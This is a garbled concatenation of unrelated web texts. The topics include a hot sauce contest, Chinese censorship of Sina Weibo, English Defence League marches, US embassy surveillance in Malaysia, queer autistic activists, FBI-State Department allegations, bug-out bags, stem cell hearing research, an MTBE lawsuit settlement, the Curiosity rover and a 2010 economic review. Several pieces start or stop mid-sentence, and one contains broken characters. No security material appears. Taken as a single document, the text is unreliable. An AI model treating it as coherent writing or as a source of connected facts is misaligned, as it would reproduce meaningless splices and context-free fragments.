The Wandering Who? A Study Of Jewish Identity Politics, AIPAC & The Jewish Lobby, available on Amazon.com & Amazon.co.uk Getting Off The Tree http://www.gilad.co.uk/writings/getting-off-the-tree-1.htmlWe've said it before, we'll say it again: we love hot sauce.
Hot sauce can be the difference between a totally under-seasoned snooze-fest and a flavor bomb going off inside your head. Hot sauce makes chicken wings worth eating, boiled peanuts delicious and does not skip a meal in our houses. Whether you like them vinegary, garlicky, peppery or just plain fiery, everyone has a favorite. We want to know which hot sauce HuffPost Taste's readers think is the best of all. It's time for the Hot Sauce Deathmatch.
Here's how the Hot Sauce Deathmatch voting will go down:
Round One voting opens today (September 18th) -- vote right now!
Wednesday, September 19th at 12:00am Eastern, Round Two begins.
Thursday, September |
to use a dangerous and sophisticated attack to achieve some goal or send a message, it doesn’t sound like the message was received either. Usually the simplest explanation is the most likely. Either way, the Cuban government has an obligation under existing treaties to protect foreign diplomats, and harmful effects, whether they result from surveillance or not, should be condemned.
There is also another lesson here. Our diplomats overseas often work in difficult places, sometimes facing harassment, surveillance and other challenges. That is why President Donald Trump’s thoughtless comments about our diplomats (and by extension their families) in Moscow go over so poorly with our public servants around the world. Despite the obvious hardships of being away from the United States in difficult environments, there are often hidden or untold challenges which potentially include being monitored day and night and serious health risks from invisible corners.
The story emerging out of Cuba is simply not as bizarre as it might seem at first blush. It is unfortunately all too familiar to those who serve our country in hostile and risky environments.
Photo Credit: Marcos Radicella/Getty Images
[Editor’s note: This essay was originally published at 6:20AM on Aug. 21, 2017 without modification since.]The way the Chinese government censors and deletes politically-sensitive terms online has been revealed for the first time.
As expected, the communists are hypersensitive to criticism of the state – but also to people slating the so-called ‘Great Firewall’, the network blocking technology that prevents Chinese people browsing the internet freely.
The US study also shows Beijing’s censorship machine works in real time – and can adapt quickly to emerging issues. It’s also location-dependent, being far more active, when required, in dissident regions.
David Bamman, a computer scientist and linguist at Carnegie Mellon University in Pittsburgh, got the idea for the research last summer when he noticed how quickly false rumours of the death of former Chinese president Jiang Zemin disappeared from China’s Twitter equivalent Sina Weibo.
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“I went to check back on some of those messages and it really shocked me to discover that around 70 per cent of them had been deleted,” Bamman told New Scientist. So with colleagues Noah Smith and Brendan O’Connor he decided to study the censorship mechanism more closely.
They took advantage of the fact that Sina Weibo, China’s biggest commercial microblogging network, publishes an interface to encourage developers worldwide to devise smartphone apps that allow Chinese-speaking people anywhere to read and post Twitter-style 140-character messages.
This interface allowed the Carnegie team to download nearly 57 million messages from Sina Weibo between 27 June and 30 September. Once they had these, they then examined Sina Weibo’s archive to see which were later deleted. “We could then see which terms in a message meant it had a higher chance of being deleted,” says Bammam.
As might be expected, criticism of state propaganda was not tolerated. Messages attacking China’s “Ministry of Truth” were zapped, as were ones involving calls for the “resignations” of incompetent government officials, such as that of the railways minister after a horrific train crash. Complaints about Fang Binxing – architect of the web censoring Golden Shield Project, nicknamed the Great Firewall – were also highly deleted – as were mentions of a pair of Communist Party meetings which became a code word for arranging pro-democracy protests last spring.
Interestingly, at least once the censorship seemed to work for the social good: when a false rumour started that eating iodised salt, rather than potassium iodide pills, would protect people from radiation leaks from the Fukushima Daiichi nuclear power station, the censors deleted the messages.
“What was also interesting was that messages you’d expect to have been deleted all the time – like mentions of the Falun Gong [spiritual movement] or the dissident and artist Ai Weiwei – were not done so every time. It would seem to suggest that there is no automatic, blanket deletion going on,” says Bamman. Rather it points to a high level of human involvement and a nuanced approach.
The censorship mechanism is also agile – able to turn its attention to troublespots on demand. “This is the most surprising thing that we saw,” says Bamman. “In Tibet there was an overall deletion rate of 53 per cent – against 12 per cent in Beijing and 11 per cent in Shanghai.” The research will be published in a forthcoming issue of the open access journal First Monday.
Pádraig Reidy of the London-based pressure group Index On Censorship says the research throws new light on Chinese information control: “This study displays the remarkably hands-on nature of Chinese political censorship. While we tend to think of communist party censorship purely in terms of the ‘firewall’ – blocking external content – we can now see the intense and swift nature of internal censorship.
“This suggests incredibly close, real-time, manned monitoring of discussions and searches. We know that the Chinese government has thousands of people working on web censorship. This study proves how serious a project that is for the regime.”Toasters, like just about every piece of 31st century technology, are robotic and possess an internal power source. Toasters appear to be lower intelligence robots and unlike more advanced robots like bending units or garbage disposals they lack the ability to speak English, instead sounding more like a dog. Farnsworth has experimented with toasters on more than one occassion, once giving a toaster emotion, turning one into a raccoon in a what-if scenario and modelling a resurrection device on one.
Additional Info
In raccoon form
Trivia
Interestingly, every time a toaster does something of note, it is a different colour. This suggests, with the possible exception of the raccoon toaster, that the Planet Express crew replaces them often.
Quotes
Farnsworth: Good news, everyone! I've taught the toaster to feel love. Fry: [After eating the Raccoon's toast.] Hmm, kinda gamey.The English Defence League will target at least two new areas this year as it attempts to broaden its reach. The far-right group has announced its first six planned demonstrations, with the first taking place tomorrow.
The news comes two months after the arrests of more than 170 EDL supporters during a demonstration at Whitehall in London on Armistice Day. In an email to members, seen by The Independent, the group said Bristol and Walsall - towns not previously targeted - had been identified as good sites for marches.
The group, which has been involved in clashes with police and Muslim groups, also announced plans to demonstrate in Luton and Dewsbury on unspecified dates, as well as in Leicester next month. It will hold a smaller gathering in Barking, east London, tomorrow.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Last year saw the highest number of individual demonstrations by the EDL since its launch in 2009. The email, sent to members this week, added that other demonstrations were planned throughout the year.
Last year The Independent revealed that the group was planning to move into politics after an alliance with the far-right British Freedom Party was finalised. It was said that a "gentleman's agreement" existed between the groups, to offer each other mutual support.
Weyman Bennett, of Unite Against Fascism, said yesterday: "The EDL are trying to spread their racist arguments across the country and they will be vigorously opposed wherever they go to try to divide people."
In a video circulated with the email, EDL leader Stephen Yaxely-Lennon said he had been beaten up by a group of Muslims.
The English Defence League has held more than 50 demonstrations, many resulting in violent clashes, and is planning at least six more. Click HERE to see an interactive map of its activities.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe now.In August, Australian intelligence sources confirmed that top secret intelligence tool XKeyscore - which was revealed by Edward Snowden - has been used to spy on Malaysia among other Asia-Pacific countries. - Reuters pic
KUALA LUMPUR, Oct 29 — Datuk Ismail Sabri Yaakob has criticised the United States for using its KL embassy to run a monitoring station to tap telephones and monitor communications networks, describing it as “immoral” and called for protest should the allegation be true.
He said although the Cabinet will have the last say, the rural and aggro-based industries minister said Putrajaya should immediately send a protest note to Washington if the accusations are verified.
“I don't know about the spying activities done by any country towards our country but US spying on other countries, I think the US has already received complaints from Germany.
“They have to stop [using KL as a monitoring station] in fact spying on other country is something that is immoral,” he told The Malay Mail Online.
In the latest report on top secret documents leaked by intelligence whistleblower Edward Snowden, it was revealed that there are 90 electronic surveillance facilities worldwide, including in US embassies in Jakarta, Bangkok, Phnom Penh, and Yangon.
“I think the government has to send a protest note [but] I cannot speak on behalf of the government on this.
“But if you ask me personally, government should send a protest note to the American embassy but I cannot speak on behalf of the Foreign Affairs Ministry because this activity is immoral,” Ismail commented on the report.
Earlier today, a map originally published by Germany magazine Der Spiegel today, and sighted by Australian dailies Sydney Morning Herald (SMH) and its Fairfax Media sister publication The Age, dated August 13, 2010, did not show any such facilities in Singapore, Australia, New Zealand, Britain, and Japan, which are the US’ closest allies.
In August, Australian intelligence sources had confirmed that top secret intelligence tool XKeyscore - which was revealed by on-the-run Snowden - has been used to spy on Malaysia among other Asia-Pacific countries.
The admission followed a leaked slideshow published by the UK’s daily The Guardian revealing in detail the US National Security Agency (NSA) programme, which the newspaper claimed collects “nearly everything a user does on the Internet”.
The top secret slideshow made in 2008 revealed that the Xkeyscore programme allows analysts to search through extensive database of emails, search queries, social media, online chats, and browsing histories of millions of people with no need for prior authorisation.
According to SMH today, the map revealed today showed a joint group between Central Intelligence Agency and National Security Agency called “Special Collection Service” conducting sweeping surveillance operation and clandestine operations against specific intelligence targets.
The map was also published in full originally in Der Spiegel’s website, but was later replaced with a censored version, which listed 90 Special Collection Service facilities, including 74 manned facilities, 14 remotely operated facilities and two technical support centres.
It was released to the “FVEY” group, which included the US’ “5-eyes” intelligence partners - the US, UK, Australia, Canada, and New Zealand - said SMH.
SMH had previously named Australian signals intelligence facilities at Geraldton in Western Australia, Shoal Bay near Darwin, HMAS Harman near Canberra and the US-Australian Joint Defence Facility at Pine Gap near Alice Springs as contributors to the XKeyscore database.
According to Fairfax Media, Australian intelligence sources recently confirmed that Australia’s electronic espionage agency, the Defence Signals Directorate, is a “full partner” in the XKeyscore programme.
Fairfax Media had in August revealed that Singaporean intelligence is partnering Defence Signals Directorate in operations to tap undersea fibre optic telecommunication cables linking Asia, the Middle East and Europe.
The Xkeyscore programme boasted that by 2008, over 300 terrorists had been captured from intelligence gathered by the tool.
At the time of writing, The Malay Mail Online could not reach the US Embassy for comments.
Opposition Leader Datuk Seri Anwar Ibrahim has joined Ismail in condemning the US and urge Putrajaya to lodge a protest against Washington.You’ve probably given some thought to where you fall on the sexuality spectrum, but what about the neurological spectrum? There is a small amount of emerging data to suggest that autistic individuals are more likely than the general population to identify as asexual, queer or trans. Yet queer autistics are often excluded from the non-autistic LGBTQ community based on inaccurate stereotypes about their ability to empathize and desire intimacy. April is nationally designated Autism “Awareness” month, but activists from the Autistic Self Advocacy Network (ASAN) are running a #AcceptanceIs campaign to encourage people to change the narrative and think in terms of “acceptance” rather than “awareness.” “A lot of people are ‘aware’ of autism, but that doesn’t mean they have a meaningful understanding, or that they’re thinking about ways to include and accommodate the autistic people in their lives,” said Julia Bascom, Director of Programs for ASAN via e-mail. Julia Bascom Julia recently wrote a beautiful entry on her blog about “The Talk,” she must have with the women she dates as the physical intimacy progresses in their relationship. Sex-ed is often not offered to autistics because it is assumed they aren’t interested, so many miss out on this important opportunity to learn about their anatomy and sexuality. “A big part of autism is having a body that works differently, and learning how to understand it, use it, and navigate a world designed for other ways of being. Especially when it comes to areas like sex and being with other people, we usually don’t receive a lot of help from therapists or other professionals here: we have to figure it out on our own. I’m hoping that as autism becomes less stigmatized and more and more autistic people get a chance to share our experiences, this process gets easier for others. You shouldn’t have to be a stranger from your body,” said Julia. Julia says coming out as a lesbian in high school surprisingly counteracted the discrimination and social ostracisation she was facing for her autism. “I figured it out pretty early in high school, and I came out in inches. My mother was a conservative Evangelical, so that was difficult, and she was one of the last to know,” Julia said. “At high school, I actually found out that coming out decreased some of the harassment I had been experiencing for my disability. It was as if people couldn’t conceive of someone being both developmentally disabled and gay; for some reason, homophobia was less cool than ableism. I was very lucky.” Ableism is a term used to describe discrimination and social prejudice against people with disabilities. Julia described her personal style as, “femme-NOS,” a term that evolved at the intersection of the queer and disability communities. “NOS” stands for Not Otherwise Specified; it’s a marker used in professional diagnosis. “For me, femme-NOS means that I’m femme, but with significant motor skills problems,” Julia said. “I can’t put on makeup or style my hair, and I can’t wear most heels or fabrics. So it becomes a question of how to express that while wearing very soft clothes. Lots of skirts, long hair, dresses, wrapping beads or bangles around my wrists to fidget with. It’s definitely a look.” Her idea of a perfect date would be one that is quiet. Getting food somewhere at off-peak hours, going to a museum or the movies, watching Netflix. Pretty typical. The amount of care she has to take with noise is probably the only distinguishing feature. Kris Guin is the president and founder of Queerability, a national LGBTQ and disability rights advocacy organization run by and for LGBTQ people with disabilities. Kris Guin “I knew that I had different feelings towards boys and girls and different feelings about my gender I was assigned at birth when I was a young teenager, but I didn’t have the vocabulary to identify as LGBTQ until I was 18 and met openly LGBTQ people for the first time who taught me what being LGBTQ means,” Kris said over e-mail. Queerability recently collaborated with Campus Pride, an LGBTQ rights organization focused on creating safer college and university campuses to create the Disability Rights Activism for Student Leaders, a resource full of ways to include people with disabilities into LGBTQ student groups. “I love being a part of the queer autistic community,” Kris said. “There is a deep mutual understanding and support of the unique challenges and joys that come with being queer and autistic. For example, in terms of the policies that impact people with disabilities, including autism, many of us, even if same-sex marriage is legalized in our state, are still not legally able to get married. Many people with disabilities rely on social security to survive, but they risk jeopardizing their social security if they get married because social security has a penalty for marriage.” Autistic activist Lydia Brown is about to graduate from Georgetown University where she has been studying Arabic and working in public policy to stop violence against multiply-marginalized disabled people, including LGBTQ, poor, undocumented, and people of color groups within the disability community. She was recently recognized for her disability advocacy work as a Champion of Change by the White House on the twenty-third anniversary of the Americans with Disabilities Act. Lydia Brown Lydia is proudly autistic, asexual, panromantic, Asian and adopted.“The idea that someone can be that many kinds of divergent from what is considered normative is terrifying for people because the more you deviate from the norm the more you are a reminder to them that the normative was never possible to attain to begin with,” she said. Lydia is coming up on her two year anniversary with her partner who is also an autistic activist. They were first introduced through a friend online in 2009, met in person a few times and then started dating officially in 2013. “We went out for date night at a really nice Italian restaurant with white table cloths and all these people dressed to the nines. We just awkwardly showed up in ripped jeans and T-shirts. That’s autistic dating for you. [laughs].” Lydia and her partner are on the asexual spectrum, but she says that her autistic friends have shared with her some of their unique sexual experiences. “A lot of us have tactile sensory issues so navigating what is okay in the bedroom can become very complicated, especially if both people involved are autistic and they have different tactile issues,” she said. “Then it’s like, well, experimentation time! Some people prefer deep pressure touch as opposed to light touch, some might like to get in the mood by caressing their partner from the back, but that might not work for some of us, or someone might like to lightly play with someones hair for foreplay but that might not work for somebody either and you might find that out in the course of a very awkward interruption.” When Lydia tells people that she advocates for disability rights, they may not realize that she is autistic. She says the response she receives often takes a patronizing tone, with high praise for her saintly work helping those “unfortunate people.” She says she appreciates straight and non-autistic allies who want to help in meaningful ways, but too frequently the desire to help stems from a place of condescending pity rather than genuine compassion. Lydia encourages people to reexamine their mindset. “You shouldn’t assume that because someone is disabled, they need to be fixed. When we talk about acceptance, we mean acceptance for everybody. Whether they can go to college or not, whether they can work a 9-5 or not. Whether they can communicate orally or not. Whether they ever choose to date or not. Acceptance doesn’t come with qualifications or ifs or buts. Acceptance means radically choosing to believe and to affirm through your actions, that all humans are in fact valuable. That all ways of being human are worthy of respect. Even if you don’t understand them. Especially if you don’t understand them.” Sydney Parker is a writer based in Los Angeles. She writes about humor, humanity and pigeons on her blog CarnivalofSouls. You can follow her on twitter @carnivalosouls.PORTLAND, Maine (AP) — A campaign to persuade voters to approve a southern Maine casino reported it has paid over half a million dollars to the firm that has in the past helped persuade British voters to withdraw from the European Union.
Progress for Maine PAC reported Thursday spending more than $1.5 million this year on consultants, canvassers, advertisements, legal fees and mailers, for the pro-casino campaign. It has paid nearly $575,000 through September to Washington, D.C.-based firm Goddard Gunster.
The leading organization that campaigned for the United Kingdom to exit the European Union had hired Goddard Gunster, calling it one of the world’s leading referendum and issue management firms.
State voters are set to consider a Nov. 7 ballot question that will ask them whether they would allow a developer to apply to build a York County casino. Officials behind the campaign have identified an Old Orchard Beach campground and mobile home park as a potential site.
Gambling entrepreneur Shawn Scott and his associates are the only groups allowed to apply for such a license, according to restrictions in the referendum. Scott previously financed a successful campaign to bring a Bangor race track and casino, and slots parlor to the state.
Maine’s ethics commission has been investigating since this summer the source of millions of dollars in contributions behind the casino effort. Horseracing Jobs Fairness, the committee that initially launched the casino effort, reported receiving $4.3 million from several companies linked to Scott and his associates.
An anti-casino effort, a Bad Deal for Maine, reported receiving $26,965 worth of polling services from Kentucky-based Churchill Downs Incorporated, which owns and operates a casino in Oxford, Maine.
The pro- casino effort reported more contributions than a referendum effort to expand Medicaid in Maine, according to state campaign finance reports.FBI interview summaries and notes, provided late Friday to the House Government Oversight and Intelligence Committees, contain allegations of a "quid pro quo" between a senior State Department executive and FBI agents during the Hillary Clinton email investigation, two congressional sources told Fox News.
"This is a flashing red light of potential criminality," Republican Rep. Jason Chaffetz of Utah, who has been briefed on the FBI interviews, told Fox News.
He said "there was an alleged quid pro quo” involving Undersecretary for Management Patrick Kennedy and the FBI “over at least one classified email.”
“In return for altering the classification, the possibility of additional slots for the FBI at missions overseas was discussed,” Chaffetz said.
As Fox News previously reported, interviews released earlier this month, known as 302s, reveal the serious allegation that Kennedy applied pressure to subordinates to change classified email codes so they would be shielded from Congress and the public. Fox News was told as far back as August 2015 that Kennedy was running interference on Capitol Hill. But Kennedy, in his FBI interview on Dec. 21, 2015, “categorically rejected” allegations of classified code tampering.
Chaffetz has not read the new documents, which include classified records that must be read in a security facility. But based on a briefing from staffers, Chaffetz said there are grounds for at least "four hearings" after the recess. Chaffetz, who is currently out of town campaigning, said allegations came from witnesses though there is some conflict in the record.
"Both myself and Chairman Devin Nunes of the House Permanent Select Committee on Intelligence are infuriated by what we have heard," he added.
"Left to their own devices the FBI would never have provided these [records] to Congress and waited until the last minute. This is the third batch because [the FBI] didn’t think they were relevant," Chaffetz said.
The second congressional source backed the assessment, and both added that they expect the FBI interviews will be released as early as Monday as part of ongoing FOIA requests.
A spokesperson at the FBI provided a lengthy statement to Fox Saturday night -- disputing Chaffetz's characterization and stating that, while the conversation did happen, the two issues discussed were not connected. The FBI's statement is below:
"Prior to the initiation of the FBI’s investigation of former Secretary Clinton’s personal email server, the FBI was asked to review and make classification determinations on FBI emails and information which were being produced by the State Department pursuant to FOIA. The FBI determined that one such email was classified at the Secret level. A senior State Department official requested the FBI re-review that email to determine whether it was in fact classified or whether it might be protected from release under a different FOIA exemption. A now-retired FBI official, who was not part of the subsequent Clinton investigation, told the State Department official that they would look into the matter. Having been previously unsuccessful in attempts to speak with the senior State official, during the same conversation, the FBI official asked the State Department official if they would address a pending, unaddressed FBI request for space for additional FBI employees assigned abroad. Following the call, the FBI official consulted with a senior FBI executive responsible for determining the classification of the material and determined the email was in fact appropriately classified at the Secret level. The FBI official subsequently told the senior State official that the email was appropriately classified at the Secret level and that the FBI would not change the classification of the email. The classification of the email was not changed, and it remains classified today. Although there was never a quid pro quo, these allegations were nonetheless referred to the appropriate officials for review."
The State Department provided a response Sunday but it did not directly address the alleged discussion of more overseas postings for FBI agents.
“This allegation is inaccurate and does not align with the facts,” State Department Deputy Spokesperson Mark Toner said. “To be clear: the State Department did upgrade the document at the request of the FBI when we released it back in May 2015.”What Bag is Right for a Bug Out Bag?
Your Bug Out Bag (BOB) is likely to be a key player in your survival and emergency preparedness plans. Whether you have a set bug out location in mind, or if you know you just have to hit the road and look for a safe haven, your Bug Out Bag should be all you need for the first few days of your survival journey.
The contents of your bag will obviously help in whatever emergency situation you find yourself in, however you need a suitable bag to actually be your BOB. All the survival tools in the world are no use if you do not have a suitable method of carrying them with you. So what makes an effective bug out bag?
Type and Size
The first step in selecting the right BOB for you is to choose the type and size most suitable for your plans.
A backpack/daypack
Most people have some kind of backpack or daypack. Kids may use one for carrying their school books, and you may have one for your gym gear. Any kind of backpack could potentially be a BOB. If you have a tactical backpack then these will provide more space and compartments than a standard bag.
A backpack bug out bag is most suitable for 1 – 2 people. If you have a larger group then a backpack will not hold enough kit to be effective. However if every member of your group has one, then you have a massive amount of gear being easily carried as you travel to safety.
A duffel bag
Bigger than a backpack so provides a lot more space for taking extra kits with you to make your survival a bit more comfortable. The downside to this is that they are big, bulky and heavier than a backpack meaning they are not easy to carry.
If you are bugging out in a vehicle and have a bug out location lined up ready for your arrival, then a duffel bag is a great choice.
A hiking backpack
Combines the benefits of both an everyday backpack and a duffel bag. This type of bag tends to be the more common choice for a BOB, as it provides ample space for kit while still being light enough to carry on your back with relative ease. This backpack could potentially be used as a family BOB depending on needs of each family member.
Size/Capacity
One final consideration is deciding whether your chosen bag will be big enough for your plans.
Bags under 2500 cubic inches (40 litres) make good day packs
2 – 3 day bags tend to be 2500 – 4000 cubic inches (40 – 65 litres)
4 – 7 day packs are likely to be 4000 – 6000 cubic inches (65 – 95 litres)
Materials
Once you have selected the right type of bag, you now need to think about the material it is made from.
Canvas
Bags made of canvas will be tough. Most military bags are made from canvas as they can hold their shape under a heavy load. However a canvas BOB will be heavier than others.
Nylon
If you want a strong and lightweight BOB then nylon might be the option you want to choose. However nylon is not as strong as canvas and will not hold its shape as well.
Polyester
Strong, lightweight and holds its shape better than nylon. I consider this to be the “middle ground” option for a BOB. Polyester bags are likely to wear quicker than other bags and their seams tend to be a weak point during heavy use.
I personally prefer a canvas BOB simply because of its strength and ability to keep its shape. This means I do not need to worry about it ripping or my kit falling out on my travels. Canvas may be the heaviest option, but its strengths make the little extra weight worthwhile.
Other Considerations
Another consideration to be made when selecting your BOB is how useful it can be in aiding your survival. You want your bag to be an extra tool, not simply a way of carrying useful things with you.
Hydration Bladder
Having a compartment for a hydration bladder will make carrying water so much easier. It will also mean you can drink on the move without having to rummage around for a bottle of water.
Waterproof
Some bags will need an additional waterproof cover on to prevent water damage to contents. However some bags have a built in rain hood which is usually stored under a Velcro flap until it is needed. It can be pulled out and covers the whole bag keeping everything dry.
MOLLE (Modular Lightweight Load-carrying Equipment) compatibility
There are so many different accessories and packs that can be attached to a BOB. Ensuring that your bag is compatible with as many as possible means you can increase storage space, improve ease of getting to certain tools; the possibilities are almost endless so this is a big consideration.
Internal frame
A hidden metal frame (usually aluminum) supports the backpack from the inside helping it keep its shape. Bags with an internal frame tend to be slimmer than other bags.
External frame
This makes your BOB rigid and strong. Additional tools and equipment can be strapped directly to the frame as well giving you extra carrying potential. The external frame will add weight to your bag so bear this in mind when making your choice.
A good Bug Out Bag will make the stress of bugging out a little bit more bearable, so take some time and make sure you select a bag that will be the best match for your plans
.Want to restore hearing by injecting stem cells into the inner ear? Well, that can be a double-edged sword.
Inner ear stem cells can be converted to auditory neurons that could reverse deafness, but the process can also make those cells divide too quickly, posing a cancer risk, according to a study led by Rutgers University-New Brunswick scientists.
The encouraging news is that turning stem cells into auditory neurons can be controlled - at least in a Petri dish, said Kelvin Y. Kwan, senior author of the study and an assistant professor in the Department of Cell Biology and Neuroscience in the School of Arts and Sciences.
"It's a cautionary tale," Kwan said. "People say, 'we'll just put stem cells in and we're going to replace lost neurons.' We're saying that 'yes, we can make neurons,' but you have other side effects that are unanticipated, such as increased proliferation of stem cells. So this will guide us toward a better strategy for cell replacement therapies."
The Rutgers-led study was published in Stem Cell Reports and led by Zhichao Song, a doctoral student in Kwan's lab. Co-author Azadeh Jadali is a post-doctoral associate in the lab.
So-called hair cells in the inner ear convert sounds into neural signals that are relayed to the brain by spiral ganglion neurons, the study notes. Hearing loss from overexposure to noise causes hair cell loss, severe damage to neuronal processes and slow degeneration of auditory neurons. The neurons do not regenerate once they are lost.
"Hearing loss impacts about 15 percent of the American population - probably more," Kwan said. "Over the years, you don't realize that you're not hearing well until you get tested. We're one of the few labs trying to figure out how to address the hearing loss issue."
In their study, the scientists overexpressed a gene called NEUROG1 to turn inner ear stem cells into auditory neurons.
"But since that leads to increased cell division and NEUROG1 is used in other stem cells to make other types of neurons, scientists in other fields should be aware that when using this factor, they'll probably also increase cell proliferation," Kwan said.
The Rutgers scientists also discovered that chromatin - DNA studded with histone proteins - influences how NEUROG1 functions. Changes in chromatin may help reduce unwanted stem cell proliferation and can be achieved by adding drugs to experimental cultures in Petri dishes, Kwan said.
"Ideally, we would change the chromatin state before we start overexpressing NEUROG1 and prevent unwanted stem cell proliferation," he said.
###CONCORD, N.H. — Citgo will pay the state of New Hampshire $16 million to settle a long-running lawsuit over groundwater contamination by the gasoline additive MTBE.
Court documents filed Friday state the Attorney General’s office will be in charge of distributing the funds to monitor and remediate contaminated wells and public drinking supplies.
Citgo has 10 days to deliver the $16 million, after which the state has five days to file a motion to dismiss its case against Citgo.
The state filed suit against 26 petroleum companies a decade ago. By the time trial began Jan. 14, Citgo and ExxonMobil were the only remaining defendants. Shell Oil Co. and Sunoco Inc. agreed to pay the state a total of $35 million about a month before the trial started.
Two days into the trial, Citgo filed a request to be removed from the case, signaling settlement talks were underway. Superior Court Judge Peter Fauver granted the request and set Feb. 15 as the deadline for an agreement to be filed with the court.
Fauver has issued a gag order to all lawyers involved in the case. Senior Assistant Attorney General Mary Maloney said she would not comment on the settlement terms.
Attorneys’ fees and costs will be deducted from the $16 million before it is distributed by the Attorney General’s Office, according to the court documents.
The state claims that the gasoline additive MTBE, methyl tertiary butyl ether, caused groundwater contamination in a state where 60 percent of the population relies on private wells for drinking water.
MTBE had been used in gasoline since the 1970s to replace lead, increase octane and reduce smog-causing emissions. While it was credited with cutting air pollution, it was found in the late 1990s to contaminate drinking water to a higher degree than non-treated gasoline when it seeps into groundwater. The state of New Hampshire banned its use in 2007, although most petroleum companies stopped using it a year earlier, when the U.S. Environmental Protection Agency stopped requiring them to use additives.
The lawsuit is the only one brought by a state to reach trial on the issue of MTBE groundwater contamination.
Other lawsuits have been brought by municipalities, water districts or individual well owners, and most filed in the past decade have ended in settlements. New York City in 2009 won a $105 million federal jury verdict against ExxonMobil for MTBE contamination of city wells; that verdict has been appealed.
Chief Clerk Bill McGraw said before the trial began that court officials had to improvise a special docketing system because of the sheer number of participants and documents involved. More than 50,000 exhibits have been marked for identification, and there are upward of 100 lawyers on record in the case. The witness list numbers 230.
McGraw said the only other case that comes close to it in complexity is a school funding challenge of the 1990s, “and that pales in comparison to this.”
The marathon trial continues with ExxonMobil as the sole defendant. The state anticipates wrapping up its case next week, and the trial is expected to stretch into April.
ShareIn this image, the Link, left, an outcrop of rocks on Mars, is compared with rocks on Earth. The image of the Mars rock formation was obtained by NASA's Curiosity rover. Both images show rounded gravel fragments called clasts. Erosion of the outcrop results in the gravel clasts, which fall onto the ground and create a gravel pile like the one seen. The Link image was taken by the rover’s 100-millimeter Mast Camera on Sept. 2.
In this image, the Link, left, an outcrop of rocks on Mars, is compared with rocks on Earth. The image of the Mars rock formation was obtained by NASA's Curiosity rover. Both images show rounded gravel fragments called clasts. Erosion of the outcrop results in the gravel clasts, which fall onto the ground and create a gravel pile like the one seen. The Link image was taken by the rover’s 100-millimeter Mast Camera on Sept. 2. NASA/JPL-Caltech/MSSS and PSI
The landing site of the Mars rover Curiosity was once covered with fast-moving and possibly waist-high water that could have possibly supported life, NASA scientists announced Thursday.
Although planetary scientists have often speculated that the now-desiccated surface of Mars was once wet, Curiosity’s cameras provided the first proof that flowing water was present on a least one part of Mars for “thousands or millions of years.”
The early finding led John Grotzinger, the top mission scientist at the Mars Science Laboratory, to conclude that Curiosity had found a potentially “habitable” site — a central goal of the mission — well before heading to its primary destination.
The area may not have other attributes needed for life, he said, but the team now has a “hall pass” on the question of flowing water, and the Gale Crater landing site seemed even more appealing.
“A long-flowing stream can be a habitable environment,” he said. “We’re still going to Mount Sharp [a three-mile-high mound at the center of the crater], but this is insurance that we have already found our first potentially habitable environment.”
1 of 71 Full Screen Autoplay Close Skip Ad × Curiosity photographs a solar eclipse View Photos NASA’s Curiosity rover is rolling about deep in a Martian crater after a picture-perfect descent |
season.
Jamie Boeheim plays for Jamesville-DeWitt, and the team was in the Albany area to face off with Albertus Magnus High School of Rockland County.
Donnie Webb of Syracuse.com reports: "Where's the cheater?" they chanted when Boeheim entered the game in the fourth quarter. Moments later, Boeheim silenced the mob by scoring a basket, Webb reported.
Albertus Magnus touts itself as, "the premier college preparatory school in Rockland County, New York." The school's website says it is a community of faith "in which our future leaders strive for academic excellence, seek truth, and show respect for the dignity of each person."
ã??Pakistan's television wars have plumbed new depths in the battle for Ramadan ratings with the country's most controversial presenter giving away abandoned babies on his prime-time show.
Aamir Liaquat Hussain has presented two babies to childless couples so far during Islam's holy month.
Aamir Liaquat Hussain gifting a baby girl on his television show. Credit:YouTube
His show's heady mix of charity, piety and kitsch has made it a hit with viewers but also attracted accusations that he is using religion to generate headlines.
In an episode broadcast last week, Mr Hussain shocked the studio audience by promising the gift of a baby. "This is the beautiful girl who was thrown on a pile of garbage by somebody. See how beautiful and innocent she is," he said, showing a baby girl to the camera.Image caption Over 600 estates lie unfinished across Ireland, where land is among the most expensive land in Europe
You have to go back four years to 2006, to find economic policymakers in the West in an upbeat, confident mood.
Since then they have been battered by waves, ranging from collapsing banks to frozen financial markets, culminating in 2009 with the first drop in world annual output since the 1930s depression.
During 2010 there has been a return to overall global growth.
But sceptics say the world's politicians are simply papering over the cracks, and the big fault lines in the global economy remain.
China's big trade surplus and fixed currency system appear to be unreformed, Americans continue to spend money they do not have, while in parts of Europe the situation is still worsening with the International Monetary Fund (IMF) being called in to provide emergency loans, first in May to Greece, and then to the Irish Republic.
Ghost towns
Supporters of the banking status quo insist that the complex multi-purpose banks and their financial derivatives trading desks are necessary to ensure that cash is invested in the most productive places in the world.
If the euro fails, Europe fails Angela Merkel, German Chancellor
That particular argument wilts somewhat if you travel to Ireland.
While many parts of the world desperately need basic infrastructure, the Irish Republic simply has far too much of it. Vast so-called ghost estates built in the boom times now lie empty.
According to reporter Henry McKean, "Ireland won the lotto and everyone wanted a property portfolio".
Houses were built in isolated parts of the country.
"County Leitrim in North West Ireland has 21 ghost estates and an oversupply of 401%," Mr McKean says.
The money to fuel the Irish property boom came mostly from the banks. But were they solely responsible for the rush to build new homes across the Irish Republic?
Local councillor John McCarten believes others must share the blame.
Business horizons The year behind us, the year ahead Read reviews and predictions
"Councillors and planners are to blame, but you also have to acknowledge that there was blind greed on behalf of builders and landowners around the country," he says.
The blame game
Critics of Europe's single currency system say the euro was at least partly to blame.
Ireland was unable to dampen its property boom by setting its own interest rates because its rates are set by Europe's Central Bank, which has to consider conditions across 16 different nations.
Some wondered if the answer might be to allow the stronger euro economies to split from the weaker ones, allowing countries such as Ireland more economic freedom, while many in Germany became increasingly angry that they were footing much of the bill to rescue Ireland, as well as Greece which was bailed out earlier in the year.
But Germany's leader, Chancellor Angela Merkel, reiterated her commitment to the euro.
"If the euro fails, Europe fails. But if we avert this danger, the euro and Europe will come out stronger than before," she declared.
Image caption The UK coalition government announced a stringent budget to tackle the debt crisis
Even in the boom times, most governments in Western Europe spent more than they collected in taxes.
Now, after a severe recession, public finances everywhere are stretched and in the UK, a new Conservative-Liberal Democrat coalition government announced sharp spending cuts in the coming years.
The age of austerity had arrived.
Banking on reform
